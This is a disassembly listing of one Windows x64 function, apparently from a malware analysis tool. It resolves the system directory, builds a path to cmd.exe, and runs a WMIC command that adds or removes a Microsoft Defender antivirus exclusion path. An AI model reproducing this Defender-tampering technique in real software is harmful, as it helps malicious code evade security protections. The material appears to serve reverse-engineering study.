Function at 0x140006d41
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
call fcn.140037b90
mov rax, qword [rbp + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140037c00
mov qword [rbp - 0x88], 0
mov qword [rbp - 0x90], 0
call fcn.140037c70
call fcn.140037c70
call fcn.140037cd0
mov edx, eax
mov rax, qword [rbp + 0x10]
mov r8d, edx
mov edx, 1
mov rcx, rax
call fcn.1400353c0
call fcn.140038090
call fcn.140037db0
mov qword [rbp - 0x10], rax
lea rax, [0x1402916d0]
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call fcn.140038030
test eax, eax
je 0x140006e2b
call fcn.140037c70
call fcn.140037c70
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140035470
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
sub rax, 1
mov qword [rbp - 0x28], rax
call fcn.140037cd0
mov ecx, eax
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x28]
mov r8d, ecx
mov rcx, rax
call fcn.140035490
call fcn.140037cd0
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.140037eb0
jmp 0x140006e2c
nop
call fcn.140027ff8
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0x63
jle 0x1400070d5
call fcn.140037c70
call fcn.140037c70
call fcn.140037cd0
mov edx, eax
mov ecx, 0x3e8
call fcn.140035360
call fcn.140037cd0
mov edx, eax
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.140037eb0
mov rax, qword [rbp - 0x90]
mov qword [rbp - 0x38], rax
lea rax, str.WINDIR
mov rdx, qword [rbp - 0x38]
mov r8d, 0x3e8
mov rcx, rax
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov qword [rbp - 0x40], rax
call fcn.140037c70
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.140037f90
lea rax, str.System32
mov rcx, rax
call fcn.140037f90
call fcn.140037cd0
mov edx, eax
lea rax, [rbp - 0x88]
mov rcx, rax
call fcn.140037eb0
call fcn.140037c70
call fcn.140037c70
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.140037f90
lea rax, str.Sysnativecmd.exe
mov rcx, rax
call fcn.140037f90
call fcn.140037e20
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call fcn.140029ddc
mov qword [rbp - 0x50], rax
call fcn.140037d40
cmp qword [rbp - 0x50], 0
jle 0x140006f5a
call fcn.140037c70
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.140037f90
lea rax, str.Sysnative
mov rcx, rax
call fcn.140037f90
call fcn.140037cd0
mov edx, eax
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.140037eb0
jmp 0x140006f94
nop
call fcn.140037c70
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.140037f90
lea rax, str.System32
mov rcx, rax
call fcn.140037f90
call fcn.140037cd0
mov edx, eax
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.140037eb0
cmp qword [rbp + 0x18], 0
jle 0x14000703b
call fcn.140037c70
call fcn.140037c70
lea rax, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
mov rcx, rax
call fcn.140037f90
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140037f90
lea rax, [0x140291204]
mov rcx, rax
call fcn.140037f90
call fcn.140038090
call fcn.140037c70
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.140037f90
lea rax, str.cmd.exe
mov rcx, rax
call fcn.140037f90
call fcn.140037e20
mov qword [rbp - 0x58], rax
call fcn.140037e20
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp - 0x88]
mov rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x58]
mov r9d, 3
mov r8, rcx
mov rcx, rax
call fcn.140022368
mov qword [rbp - 0x68], rax
call fcn.140037d40
jmp 0x1400070d6
nop
call fcn.140037c70
call fcn.140037c70
lea rax, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
mov rcx, rax
call fcn.140037f90
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140037f90
lea rax, [0x140291204]
mov rcx, rax
call fcn.140037f90
call fcn.140038090
call fcn.140037c70
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.140037f90
lea rax, str.cmd.exe
mov rcx, rax
call fcn.140037f90
call fcn.140037e20
mov qword [rbp - 0x70], rax
call fcn.140037e20
mov qword [rbp - 0x78], rax
mov rcx, qword [rbp - 0x88]
mov rdx, qword [rbp - 0x78]
mov rax, qword [rbp - 0x70]
mov r9d, 3
mov r8, rcx
mov rcx, rax
call fcn.140022368
mov qword [rbp - 0x80], rax
call fcn.140037d40
jmp 0x1400070d6
nop
mov qword [rbp - 8], 0
mov rax, qword [rbp - 0x88]
mov rcx, rax
call fcn.140038000
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.140038000
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140038000
mov rax, qword [rbp - 8]
add rsp, 0xb0
pop rbp
ret